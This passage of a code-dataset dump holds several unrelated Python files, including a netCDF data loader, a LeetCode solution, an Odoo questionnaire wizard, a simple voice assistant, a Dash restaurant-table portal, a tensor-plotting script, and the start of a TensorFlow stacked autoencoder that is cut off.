    file_list.append(curr_file) \n    else:\n        print(' !!! file {} not found !!!'.format(curr_file))\n        continue\n#for name in file_list: print('    {}'.format(name)); print('') # uncomment to see every file used\n\n# do it the hard way??\nmanual_labor_is_my_style = False\n\nif manual_labor_is_my_style:\n    # open the entire list of data files from these days as one netcdf dataset\n    dataset = netCDF4.MFDataset(files=file_list, aggdim='time') \n\n    # now put that dataset into a dataframe because dataframes are so much more useful, use timestamps as index\n    print(' ... making dataframe')\n    time_data     = dataset.variables['time']\n    time_to_dates = netCDF4.num2date(time_data[:], time_data.units, \\\n                                     only_use_cftime_datetimes=False,only_use_python_datetimes=True)\n    # only_use declarations might only be required/available in the newest netcdf version...??\n\n    df = pd.DataFrame(index=time_to_dates) # put netcdf dataset into a pandas dataframe to be easily plotted\n\n    # loop over all variables\n    for var in dataset.variables.keys():\n        values = dataset.variables[var][:]\n        df[var] = values\n\n        try: fill_val = np.float(values.ncattrs()['fill_value'])\n        except: print(\"no fill value for {}\".format(var))\n\n    df['time'] = time_to_dates # duplicates index... but it can be convenient\n    df = df.sort_index()       # or (inplace=True)\n\n    # there it is! you can make plots, compare, etc etc etc\n    print('\\n---------------------------------------------------------------------------------------\\n')\n    print('netcdf file attributes:')\n    for name in dataset.ncattrs():\n        print(\"{} = {}\".format(name, getattr(dataset, name)))\n\nelse: # or let someone else write the code for me.\n    xarr_ds = xr.open_mfdataset(file_list)\n    df = xarr_ds.to_dataframe() # pandas dataframes are really useful\n\nprint('\\n---------------------------------------------------------------------------------------\\n')\nprint('dataframe header and footer:')\nprint(df.info(verbose=True))\nprint('\\n---------------------------------------------------------------------------------------\\n')\nprint(df['radiation_SWu'])\nprint(df['radiation_net'])\n    \n\n\n","repo_name":"MOSAiC-flux/data-processing","sub_path":"devour_data_example.py","file_name":"devour_data_example.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"14312232318","text":"class Solution:\n    def findMinArrowShots(self, points: List[List[int]]) -> int:\n        #### Sort and Eliminate ####\n        l = len(points)\n        i, j, ans = 0, 1, 1\n        points.sort(key = lambda y:y[0])\n        left, right = points[0][0], points[0][1]\n        while j < l:\n            if points[j][0] <= right and points[j][1] >= left:\n                left, right = max(left, points[j][0]), min(right, points[j][1])\n            else:\n                ans += 1\n                i = j\n                left, right = points[i][0], points[i][1]\n            j += 1\n        return ans","repo_name":"Yutao-Zhou/Leetcode","sub_path":"452. Minimum Number of Arrows to Burst Balloons.py","file_name":"452. Minimum Number of Arrows to Burst Balloons.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40756121215","text":"# coding: utf-8\n\nfrom openerp import models, fields, api\n\nclass fill_questionnaire(models.TransientModel):\n    \"\"\" \n    Fill a  questionnaire for a sale order line\n    \"\"\"\n    _name = 'fill.questionnaire'\n    _description = 'Fill a  questionnaire for a sale order line'\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    questionnaire_id = fields.Many2one('variants.questionnaire', string='Questionnaire', required=True, ondelete='cascade')\n    sale_order_line_id = fields.Many2one('sale.order.line', string='Sale order line', required=False, ondelete='cascade')\n    mo_id = fields.Many2one('mrp.manufacturingorder', string='Manufacturing order', required=False, ondelete='cascade')\n    answer_ids = fields.One2many('fill.questionnaire.answer', 'fill_questionnaire_id',  string='Answers')\n    last_replied_question_stack = fields.Char(string='Previous', default='', required=False)\n    \n    @api.multi\n    def fill(self):\n        first_question = self.questionnaire_id.question_ids.sorted(key=lambda r:r.sequence)[0]\n        return {\n                'type':'ir.actions.act_window',\n                'res_model':'fill.questionnaire.answer',\n                'target':'new',\n                'views': [[False, 'form']],\n                'context': {\n                            'default_fill_questionnaire_id': self.id,\n                            'default_question_id':first_question.id,\n                            'default_question_label': first_question.label,\n                            'default_help_text': first_question.help_text,\n                            'default_dimension_limit_type': first_question.dimension_limit_type,\n                            }\n                }\n        \n    def save_all_answers(self):\n        options, variants, dimensions = self.get_save_values()\n        if self.sale_order_line_id:\n            self.sale_order_line_id.parameter_ids.unlink()\n            self.sale_order_line_id.option_lines_ids.unlink()\n            self.sale_order_line_id.write({\n                                           'option_lines_ids': [(0, 0, {'option_id':opt.id, 'price_unit':opt.price_unit}) for opt in options],\n                                           'variant_category_value_ids': [(6, 0, [variant.id for variant in variants])],\n                                           'parameter_ids': [(0,0,vals) for vals in dimensions],\n                                           })\n            #Recalcule du prix par rapport aux extra price\n            self.sale_order_line_id._onchange_sec_uom_qty()\n            \n        else:\n            self.mo_id.parameter_ids.unlink()\n            self.mo_id.write({\n                                           'option_ids': [(6, 0, [opt.id for opt in options])],\n                                           'variant_value_ids': [(6, 0, [variant.id for variant in variants])],\n                                           'parameter_ids': [(0,0,vals) for vals in dimensions],\n                                           })\n    def get_save_values(self):\n        options = []\n        variants = []\n        dimensions = []\n        for answer in self.answer_ids:\n            question_type = answer.question_id.type\n            if question_type == \"option\":\n                options.append(answer.value_option)\n            elif question_type == \"variant\":\n                variants.append(answer.value_variant)\n            elif question_type == \"dimension\":\n                dimensions.append({\n                                   'name': answer.question_id.dimension_type.name,\n                                   'value': answer.value_dimension, \n                                   'type_param_id': answer.question_id.dimension_type.id,\n                                   'sale_order_line_id': self.sale_order_line_id\n                                   })\n        \n        options_all = self.env['mrp.option']\n        for option in options:\n            options_all = options_all | option\n        return (options_all, variants, dimensions)\n\nclass fill_questionnaire_answer(models.TransientModel):\n    \"\"\" \n    Answer to a question \n    \"\"\"\n    _name = 'fill.questionnaire.answer'\n    _description = 'Answer to a question'\n    \n    @api.model\n    def default_get(self, fields_list):\n        res = super(fill_questionnaire_answer, self).default_get(fields_list=fields_list)\n        question_id = self.env['variants.question'].browse(self.env.context['default_question_id'])\n        if question_id.type == 'dimension' and question_id.dimension_limit_type == 'between':\n            res['value_dimension'] = question_id.dimension_limit_min\n        return res\n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    fill_questionnaire_id = fields.Many2one('fill.questionnaire', string='Fill questionnaire', required=True, ondelete='cascade')\n    question_id = fields.Many2one('variants.question', string='Question', required=True, ondelete='cascade')\n    value_bool = fields.Boolean(string='Value', required=False)\n    value_option = fields.Many2many('mrp.option')\n    value_variant = fields.Many2one('variant.category.value')\n    value_dimension = fields.Float(string=\"Value\")\n    value_dimension_selection = fields.Many2one('dimension.value', string=\"Value\", domain=\"[('question_id', '=', default_question_id)]\")\n    question_label = fields.Char(related='question_id.label')\n    help_text = fields.Char(related='question_id.help_text')\n    dimension_limit_type = fields.Selection(related=\"question_id.dimension_limit_type\")\n    \n    def fields_view_get(self, cr, uid, view_id=None, view_type='form', context=None, toolbar=False, submenu=False):\n        name_type = {\n                     'variant':'view_form_fill_questionnaire_answer_variant',\n                     'option':'view_form_fill_questionnaire_answer_option',\n                     'dimension':'view_form_fill_questionnaire_answer_dimension',\n                     'boolean':'view_form_fill_questionnaire_answer_boolean',\n                     }\n        question_id = self.pool['variants.question'].browse(cr, uid, context['default_question_id'])\n        name_for_type = name_type[question_id.type]\n        view_id = self.pool['ir.ui.view'].search(cr, uid, [('name', '=', name_for_type)])\n        return super(fill_questionnaire_answer, self).fields_view_get(cr, uid, view_id, view_type, context, toolbar, submenu)\n    \n    @api.multi\n    def next(self):\n        if self.question_id.type == 'variant' and not self.value_variant:\n            raise Warning('You must fill the value')\n        if len(self.fill_questionnaire_id.last_replied_question_stack):\n            new_list = self.fill_questionnaire_id.last_replied_question_stack.split('|')\n            new_list.append(unicode(self.id))\n            self.fill_questionnaire_id.last_replied_question_stack = \"|\".join(new_list)\n        else:\n            self.fill_questionnaire_id.last_replied_question_stack = self.id\n        next_question_ids = self.env['variants.question'].search([\n                                                                  ('questionnaire_id', '=', self.fill_questionnaire_id.questionnaire_id.id),\n                                                                  ('sequence', '>', self.question_id.sequence)\n                                                                  ], order = 'sequence')\n        \n        def compare(a, b, op):\n            if op == '=':\n                return a == b\n            elif op == '!=':\n                return a != b\n            elif op =='>':\n                return b > a\n            elif op == '<':\n                return a < b\n            elif op == 'in' and b and len(b) > 0:\n                return a in b\n            elif op == 'not in' and b and len(b) > 0:\n                return a not in b\n            else:\n                return False\n        \n        next_question = None\n        for question in next_question_ids:\n            if not question.condition_question:\n                next_question = question\n                break\n            else:\n                condition_question_answer = self.env['fill.questionnaire.answer'].search([\n                                                                                          ('question_id', '=', question.condition_question.id),\n                                                                                          ('fill_questionnaire_id', '=', self.fill_questionnaire_id.id)])\n                if compare(question.get_condition_value(), condition_question_answer.get_value(), question.condition_operator):\n                    next_question = question\n                    break\n            \n        # no next question, questionnaire is finished\n        if not next_question:\n            self.fill_questionnaire_id.save_all_answers()\n            return {\n                    'type': 'ir.actions.act_window_close',\n                    }\n        return {\n                'type':'ir.actions.act_window',\n                'res_model':'fill.questionnaire.answer',\n                'target':'new',\n                'views': [[False, 'form']],\n                'context': {\n                            'default_fill_questionnaire_id': self.fill_questionnaire_id.id,\n                            'default_question_id': next_question.id,\n                            'default_question_label': next_question.label,\n                            'default_help_text': next_question.help_text,\n                            'default_dimension_limit_type': next_question.dimension_limit_type,\n                            },\n                }\n    \n    @api.multi\n    def previous(self):\n        prev_reply = int(self.fill_questionnaire_id.last_replied_question_stack.split('|')[-1])\n        prev_reply = self.browse(prev_reply)\n        prev_question = prev_reply.question_id\n        if prev_question:\n            fill_questionnaire_id = self.fill_questionnaire_id\n            fill_questionnaire_id.last_replied_question_stack = \"|\".join(fill_questionnaire_id.last_replied_question_stack.split('|')[:-1])\n            prev_reply.unlink()\n            self.unlink()\n            return {\n                    'type':'ir.actions.act_window',\n                    'res_model':'fill.questionnaire.answer',\n                    'target':'new',\n                    'views': [[False, 'form']],\n                    'context': {\n                                'default_fill_questionnaire_id': fill_questionnaire_id.id,\n                                'default_question_id': prev_question.id,\n                                'default_question_label': prev_question.label,\n                                'default_help_text': prev_question.help_text,\n                                'default_dimension_limit_type': prev_question.dimension_limit_type,\n                                },\n                    }\n        else:\n            return {\n                    'type':'ir.actions.act_window_noclose',\n                    }\n        \n    def get_value(self):\n        question_type = self.question_id.type\n        if question_type == 'boolean':\n            return self.value_bool\n        elif question_type == 'dimension':\n            return self.value_dimension\n        elif question_type == 'variant':\n            return self.value_variant\n        elif question_type == 'option':\n            return self.value_option\n        \n    @api.onchange('value_dimension')\n    def _onchange_value_dimension(self):\n        question = self.env['variants.question'].browse(self.env.context['default_question_id'])\n        if question.dimension_limit_type == 'between' and (self.value_dimension < question.dimension_limit_min or self.value_dimension > question.dimension_limit_max):\n            return {'warning':{'title':'Warning', 'message':'{} < Value < {}'.format(question.dimension_limit_min, question.dimension_limit_max)}}\n        elif question.dimension_limit_type == 'selection' and self.value_dimension:\n            possible_values = [x.value for x in question.dimension_possible_values]\n            if self.value_dimension not in possible_values:\n                return {'warning':{'title':'Warning', 'message':'Value in '.format(possible_values)}}\n            else:\n                return\n    \n    @api.onchange('value_dimension_selection')\n    def _onchange_value_dimension_selection(self):\n        if self.question_id.dimension_limit_type == 'selection':\n            self.value_dimension = float(self.value_dimension_selection.value)\n    ","repo_name":"kazacube-mziouadi/ceci","sub_path":"OpenPROD/openprod-addons/variants/wizard/fill_questionnaire.py","file_name":"fill_questionnaire.py","file_ext":"py","file_size_in_byte":12621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4770767264","text":"import os\nimport webbrowser\nimport subprocess\nimport pyttsx3\nimport speech_recognition as sr\nimport random\nimport datetime\n\nengine =pyttsx3.init()\nvoices = engine.getProperty('voices') \nrate = engine.getProperty('rate')\nengine.setProperty('rate', 170) \nr=sr.Recognizer()\n\nrandom.seed()\n#asking to continue dictionary///////\nasktocont={1:\"Do you want to continue?\", 2:\"Something else?\", 3:\"Maybe, you want something?\",4:\"Please, say no, i want  to go!\"}\namount_asktocont=0\nfor i in asktocont:\n\tamount_asktocont+=1\n\n#GREETINGS //////////\ngreetings={1:\"Hello, my name is Hans!\",2:\"Hi, Hans is here!\",3:\"Welcome to my kingdom,buddy!\",4:\"Greetings, my boss!\"}\n#amount of frases////////////////////\namount = 0\nfor i in greetings:\n\tamount+=1\nnum = random.randint(1,amount)\nif num==1:\n\tengine.say(greetings[1])\n\tengine.runAndWait()\nif num ==2:\n\tengine.say(greetings[2])\n\tengine.runAndWait()\nif num ==3:\n\tengine.say(greetings[3])\n\tengine.runAndWait()\nif num ==4:\n\tengine.say(greetings[4])\n\tengine.runAndWait()\nans = \"yes\"\nwhile ans == \"yes\":\n\t\n\t\t#LISTENING///////////\n\twith sr.Microphone() as source:\n\t\tr.adjust_for_ambient_noise(source)\n\t\tengine.say(\"What can i do for you?\")\n\t\tengine.runAndWait()\n\t\tprint(\"What can i do for you?: \")\n\t\taudio= r.listen(source)\n\ttry:\n\t\tcommand=r.recognize_google(audio)\n\t\tengine.say(command)\n\t\tengine.runAndWait()\n\t\tprint(command)\n\texcept sr.UnknownValueError:\n\t\tprint(\"Could not undertand audio\")\n\texcept sr.RequestError as e:\n\t\tprint(\"Could not request results; {0}\".format(e))\n\t\t\n\t\t#COMMANDS////////////////////////////////////\n\t\t\n\t\t#what can u do////////////\n\tif command == \"commands\" or command == \"show the commands\" or command == \"command\" or command == \"what can you do\" or command == \"what do you can\":\n\t\tprint(\"Aviable commands:\")\n\t\tengine.say(\"Here you can see the avaible commands.\")\n\t\tengine.runAndWait()\n\t\tprint(\"Open the browser\")\n\t\tprint(\"Open link\")\n\t\tprint(\"Search the web\")\n\t\tprint(\"Open telegram\")\n\t\tprint(\"Tell me the date\")\n\t\tprint(\"What is the time\")\n\t\tprint(\"Today or this day\")\n\t\t\n\t\t#date/////////////////\n\tif command == \"tell me the date\" or command == \"date\" or command == \"the date\":\n\t\tdatevar = datetime.date.today().strftime(\"%B %d, %Y\")\n\t\tprint(datevar)\n\t\tengine.say(datevar)\n\t\tengine.runAndWait()\n\t\t\n\t\t#time/////////////////////\n\tif command  == \"what is the time\" or command == \"time\" or command == \"show time\":\n\t\tdatevar = datetime.datetime.now().strftime(\"%I:%M%p\")\n\t\tprint(datevar)\n\t\tengine.say(datevar)\n\t\tengine.runAndWait()\n\t\t\n\t\t#everything about this day/////////////\n\tif command == \"today\" or command == \"this day\":\n\t\tdatevar = datetime.datetime.now().strftime(\"%I:%M%p on %B %d, %Y\")\n\t\tprint(datevar)\n\t\tengine.say(\"Today is \"); engine.say(datevar)\n\t\tengine.runAndWait()\n\t\t\n\t\t#open the browser///////////////////\n\tif command == \"open the browser\" or command == \"browser\":\n\t\tengine.say(\"Okay, my boss!\")\n\t\tengine.runAndWait()\n\t\twebbrowser.open('http://google.com')\n\t\t\n\t\t#open the link////////////////////////\n\tif command == \"open link\" or command == \"link\":\n\t\tlink = input(\"Enter your link: \")\n\t\twebbrowser.open(link)\n\t\t\n\t\t#serch the web////////////////////////\n\tif command == \"search the web\" or command == \"search\" or command == \"web\" or command == \"search web\":\n\t\twith sr.Microphone() as source:\n\t\t\tr.adjust_for_ambient_noise(source)\n\t\t\tengine.say(\"What do you want to search?\")\n\t\t\tengine.runAndWait()\n\t\t\tprint(\"What do you want to search?\")\n\t\t\taudio= r.listen(source)\n\t\ttry:\n\t\t\twhattosearch = r.recognize_google(audio)\n\t\t\tengine.say(whattosearch)\n\t\t\tengine.runAndWait()\n\t\t\tprint(whattosearch)\n\t\texcept sr.UnknownValueError:\n\t\t\tprint(\"Could not undertand audio\")\n\t\texcept sr.RequestError as e:\n\t\t\tprint(\"Could not request results; {0}\".format(e))\n\t\turl = \"https://www.google.com.ua/search?q={0}\".format(whattosearch)    \n\t\twebbrowser.open(url)\n\t\t\n\t\t#open telegram/////////////////\n\tif command == \"open telegram\" or command == \"telegram\":\n\t\tos.system(\"telegram-desktop\")\n\t\n\t#do you want to continue////////////////\n\twith sr.Microphone() as source:\n\t\tr.adjust_for_ambient_noise(source)\n\t\t#choosing what to say/////////////4\n\t\tnum=random.randint(1,amount_asktocont)\n\t\tengine.say(asktocont[num])\n\t\tengine.runAndWait()\n\t\tprint(asktocont[num])\n\t\taudio= r.listen(source)\n\ttry:\n\t\tans=r.recognize_google(audio)\n\t\tprint(ans)\n\texcept sr.UnknownValueError:\n\t\tprint(\"Could not undertand audio\")\n\t\tbreak\n\texcept sr.RequestError as e:\n\t\tprint(\"Could not request results; {0}\".format(e))\n\n#ENDING////////////////\nendings = {1:\"Goodbye, boss, i love you!\", 2:\"See you later!\", 3:\"Have a nice day\", 4:\"So, i can do everything i want?\"}\n#amount/////////\namount = 0\nfor i in endings:\n\tamount+=1\nnum = random.randint(1,amount)\nengine.say(endings[num])\nengine.runAndWait()\n","repo_name":"antonpodkur/hans","sub_path":"command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":4716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"25058134024","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr 10 03:09:12 2021\r\n\r\n@author: Alice\r\n\"\"\"\r\n\r\nimport os\r\nimport dash\r\nimport dash_table\r\nimport json\r\nimport numpy as np\r\nimport pandas as pd\r\nimport plotly.graph_objects as go\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nfrom dash.dependencies import Input, Output, State\r\nfrom dash.exceptions import PreventUpdate\r\nfrom plotly.offline import plot\r\nfrom utils import diff_dashtable, get_table_data, update_table_data\r\n\r\napp = dash.Dash(__name__)\r\napp.title = 'MerryDining - Restaurant Portal'\r\nstatuses = ['empty', 'reserved', 'occupied']\r\ndiets = ['none', 'vegan', 'vegetarian', 'gluten-free', 'kosher', 'halal']\r\nallergies = ['none', 'dairy', 'peanuts', 'soy', 'shellfish']\r\ndef layout_function():\r\n    return html.Div([\r\n    html.Div(id='topbar', children=[html.Img(id='icon', src='/assets/favicon.ico'),\r\n                                    html.H5(\"MerryDining\", 'title')]),\r\n    dcc.Graph(id='choropleth'),\r\n    \r\n    dash_table.DataTable(\r\n        id='restaurant-table',\r\n        columns=[{\"name\": [\"Table ID\"], \"id\": \"tableid\"},\r\n                 {\"name\": [\"Status\"], \"id\": \"status\", \"presentation\": \"dropdown\"},\r\n                 {\"name\": [\"Diet\"], \"id\": \"diet\", \"presentation\": \"dropdown\"},\r\n                 {\"name\": [\"Allergy\"], \"id\": \"allergy\", \"presentation\": \"dropdown\"}],\r\n        editable=True,\r\n        data=get_table_data().to_dict(orient='records'),\r\n        dropdown={\r\n            'status': {'options': [{'label': i, 'value': i} for i in statuses],\r\n                     'clearable':False},\r\n            'diet': {'options': [{'label': i, 'value': i} for i in diets],\r\n                     'clearable':False},\r\n            'allergy': {'options': [{'label': i, 'value': i} for i in allergies],\r\n                        'clearable':False}\r\n        }\r\n    ),\r\n\r\n    html.Br(),\r\n    dcc.Store(id=\"diff-store\"),\r\n    html.Div(id=\"data-diff\")\r\n])\r\n\r\n\r\napp.layout = layout_function\r\n\r\n# track changes in restaurant table\r\n@app.callback(\r\n    [Output(\"diff-store\", \"data\"),\r\n     Output(\"data-diff\", \"children\")],\r\n    [Input(\"restaurant-table\", \"data_timestamp\")],\r\n    [State(\"restaurant-table\", \"data\"),\r\n     State(\"restaurant-table\", \"data_previous\"),\r\n     State(\"diff-store\", \"data\")],\r\n)\r\ndef capture_diffs(ts, data, data_previous, diff_store_data):\r\n    if ts is None:\r\n        raise PreventUpdate\r\n    diff_store_data = diff_store_data or {}\r\n    \r\n    changed_rows = diff_dashtable(data, data_previous, 'tableid')\r\n    diff_store_data[ts] = changed_rows\r\n    if diff_store_data:\r\n        response = []\r\n        for row in changed_rows:\r\n            response = update_table_data(row['tableid'], row['status'], row['diet'], row['allergy'])\r\n        return diff_store_data, str(response)#str(changed_rows)\r\n    \r\n    return diff_store_data, \"No Changes to DataTable\"\r\n\r\n# create and display restaurant map\r\n@app.callback(\r\n    Output(component_id=\"choropleth\", component_property=\"figure\"), \r\n    Input(\"restaurant-table\", \"data\"))\r\ndef display_choropleth(input_table):\r\n    with open(os.path.join(os.path.dirname(__file__), 'map_full.geojson'), \"r\") as f:\r\n        geo_world = json.load(f)\r\n    \r\n    # get data directly from table\r\n    df = pd.DataFrame.from_dict(input_table)\r\n    \r\n    colorscales = [[0.0, 'rgb(255, 232.05, 214.2)'],\r\n                   [0.5, 'rgb(255, 181.0, 130.1)'],\r\n                   [1.0, 'rgb(255, 132.6, 51.0)']]\r\n    tickdict = {\"empty\": 0.0, \"reserved\": 0.9, \"occupied\": 2.0}\r\n    hover_template_choro=\"Table %{customdata[0]}\" \\\r\n                         \"<extra>Status: %{customdata[1]}<br>\" \\\r\n                         \"Diet: %{customdata[2]}<br>\"\\\r\n                         \"Allergies: %{customdata[3]}</extra>\"\r\n                         \r\n    df[\"status_z\"] = df[\"status\"].replace(tickdict)\r\n    \r\n    # Create figure\r\n    fig = go.Figure(go.Choropleth(geojson=geo_world,\r\n                                  locations=df['tableid'],\r\n                                  z=df['status_z'],\r\n                                  zmin=0,\r\n                                  zmax=2,\r\n                                  customdata=np.stack(([df['tableid'], df['status'], df['diet'], df['allergy']]), axis=-1),\r\n                                  hovertemplate=hover_template_choro,\r\n                                  text=df['tableid'],\r\n                                  colorscale=colorscales,\r\n                                  colorbar_tickvals=list(tickdict.values()),\r\n                                  colorbar_ticktext=list(tickdict.keys()),\r\n                                  colorbar_tickmode=\"array\",\r\n                                  colorbar_x=-0.03,\r\n                                  colorbar_y=0,\r\n                                  colorbar_yanchor=\"bottom\",\r\n                                  colorbar_thickness=10,\r\n                                  colorbar_tickfont_family=\"Poppins\",\r\n                                  colorbar_title_text=\"Table Status\",\r\n                                  colorbar_title_font_family=\"Poppins\"))\r\n    fig.update_layout(dragmode=False,\r\n                      font_family=\"Poppins\",\r\n                      margin={\"r\":0,\"t\":0,\"l\":0,\"b\":0})\r\n    fig.update_geos(center=dict(lon=0.002, lat=0.002),\r\n                    lataxis_range=[-0.005, 0.006],\r\n                    lonaxis_range=[-0.005, 0.006],\r\n                    visible=False)\r\n    \r\n    df_dots = pd.json_normalize(geo_world['features'])\r\n    hover_template_scatter=\"<b>Table %{customdata[0]}</b><br>\" \\\r\n                         \"Status: %{customdata[1]}<br>\" \\\r\n                         \"Diet: %{customdata[2]}<br>\"\\\r\n                         \"Allergies: %{customdata[3]}\"\r\n    # add dietary dots\r\n    diet_colors = {'halal': '#76ac49', 'vegan': '#faff00', \r\n                   'vegetarian': '#aeff6a', 'kosher':'#589ad6', 'gluten-free': '#fc620b'}\r\n    for diet in list(diet_colors.keys()):\r\n        df_dots_diet = df_dots[df['diet'].str.contains(diet)]\r\n        df_diet = df[df['diet'].str.contains(diet)]\r\n        fig.add_trace(go.Scattergeo(\r\n            lon = df_dots_diet['properties.center'].apply(lambda x: x[0])+0.0001,\r\n            lat = df_dots_diet['properties.center'].apply(lambda x: x[1]),\r\n            name = diet,\r\n            marker = dict(\r\n                size = 20,\r\n                opacity = 0.7,\r\n                color = diet_colors[diet]),\r\n            customdata=np.stack(([df_diet['tableid'], df_diet['status'],\r\n                                  df_diet['diet'], df_diet['allergy']]), axis=-1),\r\n            hovertemplate=hover_template_scatter))\r\n    # add allergy dots\r\n    allergy_colors = {'dairy': '#4ff4ff', 'peanuts': '#fff84f', 'soy': '#a9a53b',\r\n                      'shellfish': '#942288'}\r\n    for allergy in list(allergy_colors.keys()):\r\n        df_dots_allergy = df_dots[df['allergy'].str.contains(allergy)]\r\n        df_allergy = df[df['allergy'].str.contains(allergy)]\r\n        fig.add_trace(go.Scattergeo(\r\n            lon = df_dots_allergy['properties.center'].apply(lambda x: x[0])-0.0001,\r\n            lat = df_dots_allergy['properties.center'].apply(lambda x: x[1]),\r\n            name = allergy,\r\n            marker = dict(\r\n                size = 20,\r\n                opacity = 0.7,\r\n                color = allergy_colors[allergy]),\r\n            customdata=np.stack(([df_allergy['tableid'], df_allergy['status'],\r\n                                  df_allergy['diet'], df_allergy['allergy']]), axis=-1),\r\n            hovertemplate=hover_template_scatter))\r\n    return fig\r\n\r\n\r\nif __name__ == '__main__':\r\n    app.run_server(debug=True)\r\n","repo_name":"jemsbhai/hackillinois2021","sub_path":"restaurant_app/restaurant.py","file_name":"restaurant.py","file_ext":"py","file_size_in_byte":7618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32646696575","text":"import sys\nimport os\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nfrom argparse import ArgumentParser\n\nfrom clair.utils import setup_environment\n\ndef plot_tensor(ofn, XArray):\n    plot = plt.figure(figsize=(15, 8))\n\n    plot_min = -30\n    plot_max = 30\n    plot_arr = [\"A+\", \"C+\", \"G+\", \"T+\", \"A-\", \"C-\", \"G-\", \"T-\"]\n\n    plt.subplot(4, 1, 1)\n    plt.xticks(np.arange(0, 33, 1))\n    plt.yticks(np.arange(0, 8, 1), plot_arr)\n    plt.imshow(XArray[0, :, :, 0].transpose(), vmin=0, vmax=plot_max, interpolation=\"nearest\", cmap=plt.cm.hot)\n    plt.colorbar()\n\n    plt.subplot(4, 1, 2)\n    plt.xticks(np.arange(0, 33, 1))\n    plt.yticks(np.arange(0, 8, 1), plot_arr)\n    plt.imshow(XArray[0, :, :, 1].transpose(), vmin=plot_min, vmax=plot_max, interpolation=\"nearest\", cmap=plt.cm.bwr)\n    plt.colorbar()\n\n    plt.subplot(4, 1, 3)\n    plt.xticks(np.arange(0, 33, 1))\n    plt.yticks(np.arange(0, 8, 1), plot_arr)\n    plt.imshow(XArray[0, :, :, 2].transpose(), vmin=plot_min, vmax=plot_max, interpolation=\"nearest\", cmap=plt.cm.bwr)\n    plt.colorbar()\n\n    plt.subplot(4, 1, 4)\n    plt.xticks(np.arange(0, 33, 1))\n    plt.yticks(np.arange(0, 8, 1), plot_arr)\n    plt.imshow(XArray[0, :, :, 3].transpose(), vmin=plot_min, vmax=plot_max, interpolation=\"nearest\", cmap=plt.cm.bwr)\n    plt.colorbar()\n\n    plot.savefig(ofn, dpi=300, transparent=True, bbox_inches='tight')\n    plt.close(plot)\n\n\ndef create_png(args):\n    f = open(args.array_fn, 'r')\n    array = f.read()\n    f.close()\n    import re\n    array = re.split(\"\\n\", array)\n    array = [x for x in array if x]\n    print(array)\n\n    splitted_array = []\n    for i in range(len(array)):\n        splitted_array += re.split(\",\", array[i])\n\n    print(\"splitted array length\")\n    print(len(splitted_array))\n    print(splitted_array[0])\n    # for i in range(len(splitted_array)):\n    #     splitted_array[i] = int(splitted_array[i])\n\n    XArray = np.array(splitted_array, dtype=np.float32).reshape((-1, 33, 8, 4))\n    XArray[0, :, :, 1] -= XArray[0, :, :, 0]\n    XArray[0, :, :, 2] -= XArray[0, :, :, 0]\n    XArray[0, :, :, 3] -= XArray[0, :, :, 0]\n\n    _YArray = np.zeros((1, 16))\n    varName = args.name\n    print(\"Plotting %s...\" % (varName), file=sys.stderr)\n\n    # Create folder\n    if not os.path.exists(varName):\n        os.makedirs(varName)\n\n    # Plot tensors\n    plot_tensor(varName+\"/tensor.png\", XArray)\n\n\ndef ParseArgs():\n    parser = ArgumentParser(\n        description=\"Visualize tensors and hidden layers in PNG\")\n\n    parser.add_argument('--array_fn', type=str, default=\"vartensors\",\n                        help=\"Array input\")\n\n    parser.add_argument('--name', type=str, default=None,\n                        help=\"output name\")\n\n    args = parser.parse_args()\n\n    if len(sys.argv[1:]) == 0:\n        parser.print_help()\n        sys.exit(1)\n\n    return args\n\n\ndef main():\n    args = ParseArgs()\n    setup_environment()\n    create_png(args)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"HKU-BAL/Clair","sub_path":"clair/plot_tensor.py","file_name":"plot_tensor.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"47"}
{"seq_id":"30903875166","text":"\"\"\"\nStacked Autoencoder\n\"\"\"\nfrom collections import OrderedDict\nimport numpy as np\n\nimport tensorflow as tf\nfrom tensorflow.contrib import layers, framework\n\n\ndef show_reconstructed_digits(X, outputs, model_path = None, n_test_digits = 2):\n    with tf.Session() as sess:\n        if model_path:\n            saver.restore(sess, model_path)\n        X_test = mnist.test.images[:n_test_digits]\n        outputs_val = outputs.eval(feed_dict={X: X_test})\n\n    fig = plt.figure(figsize=(8, 3 * n_test_digits))\n    for digit_index in range(n_test_digits):\n        plt.subplot(n_test_digits, 2, digit_index * 2 + 1)\n        plot_image(X_test[digit_index])\n        plt.subplot(n_test_digits, 2, digit_index * 2 + 2)\n        plot_image(outputs_val[digit_index])\n\n\n\nclass tfStackedAutoEncoder(object):\n    \"\"\"\n    Train a Stacked AE in a single graph, using multiple \"phases\"\n    \"\"\"\n\n\n    def __init__(self, h_layers, lr=1e-2, l2_pen=1e-4, nb_epoch=100, \n            batch_size=None, act_fn='elu'):\n        self.h_layers = h_layers\n        self.lr = lr\n        self.nb_epoch = nb_epoch\n        self.batch_size = batch_size\n        self.l2_pen = l2_pen\n        \n        if act_fn == 'elu':\n            self.act_fn=tf.nn.elu\n        elif act_fn == 'relu':\n            self.act_fn = tf.nn.relu\n        else:\n            self.act_fn = act_fn\n\n        self.reg_fn = layers.l2_regularizer(l2_pen)\n        self.init_fn = layers.variance_scaling_initializer()\n\n    def fit(self, X):\n        X_data = X\n\n        X = tf.placeholder(tf.float32, shape=(None,X_data.shape[-1]))\n\n        # create weights/bias dictionary\n        layer_shapes = [X_data.shape[1]] + self.h_layers + [X_data.shape[1]]\n        w_dict = OrderedDict()\n        b_dict = OrderedDict()\n        with tf.name_scope('vars'):\n            for i in 